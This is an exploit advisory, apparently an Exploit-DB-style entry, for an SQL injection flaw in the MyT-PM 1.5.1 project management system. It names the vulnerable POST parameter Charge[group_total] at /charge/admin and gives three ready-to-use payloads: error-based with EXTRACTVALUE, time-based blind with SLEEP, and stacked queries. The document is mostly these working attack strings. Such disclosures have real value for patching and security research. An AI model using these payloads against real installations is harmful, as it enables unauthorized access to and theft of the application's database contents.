# Exploit Title: MyT-PM 1.5.1 - 'Charge[group_total]' SQL Injection
# Date: 03.01.2019
# Exploit Author: Mehmet Ander Key
# Vendor Homepage: https://manageyourteam.net/
# Software Link: https://sourceforge.net/projects/myt/
# Version: v1.5.1
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
MyT (Manage Your Team) - is a free open source task management and project
management system, based on Yii Framework, easy to use and with a great
perspective of growth for the future.

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.

# POC - SQL Injection :

# Parameter: Charge[group_total](POST)
# Request URL: /charge/admin

#    Type : Error Based
#    Payload: Charge[user_name]=k&Charge[group_total]=1) AND
EXTRACTVALUE(2003,CONCAT(0x5c,0x7171716b71,(SELECT
(ELT(2003=2003,1))),0x7170707071))-- eaYu&Charge_page=1&ajax=charge-grid

#    Type : Time-Based Blind
#    Payload: Charge[user_name]=k&Charge[group_total]=1) AND (SELECT * FROM
(SELECT(SLEEP(5)))ggBK)-- mGKC&Charge_page=1&ajax=charge-grid

#    Type : Stacked Queries
#    Payload: Charge[user_name]=k&Charge[group_total]=1);SELECT
SLEEP(5)#&Charge_page=1&ajax=charge-grid